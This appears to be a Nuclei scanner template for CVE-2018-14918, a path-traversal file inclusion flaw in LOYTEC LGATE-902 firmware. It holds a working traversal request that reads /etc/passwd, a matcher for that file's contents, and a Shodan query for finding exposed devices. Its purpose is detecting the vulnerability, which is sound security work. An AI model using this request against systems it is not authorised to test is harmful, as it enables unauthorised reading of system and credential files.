46 lines
1.8 KiB
YAML
46 lines
1.8 KiB
YAML
id: CVE-2018-14918
|
|
|
|
info:
|
|
name: LOYTEC LGATE-902 6.3.2 - Local File Inclusion
|
|
author: 0x_Akoko
|
|
severity: high
|
|
description: |
|
|
LOYTEC LGATE-902 6.3.2 is susceptible to local file inclusion which could allow an attacker to manipulate path references and access files and directories (including critical system files) that are stored outside the root folder of the web application running on the device. This can be used to read and configuration files containing, e.g., usernames and passwords.
|
|
remediation: |
|
|
Apply the latest firmware update provided by LOYTEC to fix the LFI vulnerability.
|
|
reference:
|
|
- https://seclists.org/fulldisclosure/2019/Apr/12
|
|
- http://packetstormsecurity.com/files/152453/Loytec-LGATE-902-XSS-Traversal-File-Deletion.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2018-14918
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2018-14918
|
|
cwe-id: CWE-22
|
|
epss-score: 0.44897
|
|
epss-percentile: 0.97046
|
|
cpe: cpe:2.3:o:loytec:lgate-902_firmware:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: loytec
|
|
product: lgate-902_firmware
|
|
shodan-query: http.html:"LGATE-902"
|
|
tags: loytec,lfi,seclists,packetstorm,cve,cve2018,lgate
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/webui/file_guest?path=/var/www/documentation/../../../../../etc/passwd&flags=1152"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4b0a00483046022100cbe3295ee5e6574d7eb73d9160a3121080960ad83a3e0cb3fa9be183be9fe5e8022100db1bc0331ac2a2ca580ed7f98fb24ee38117d8dd72f88f05fdc60c7cb3749a31:922c64590222798bb761d5b6d8e72950 |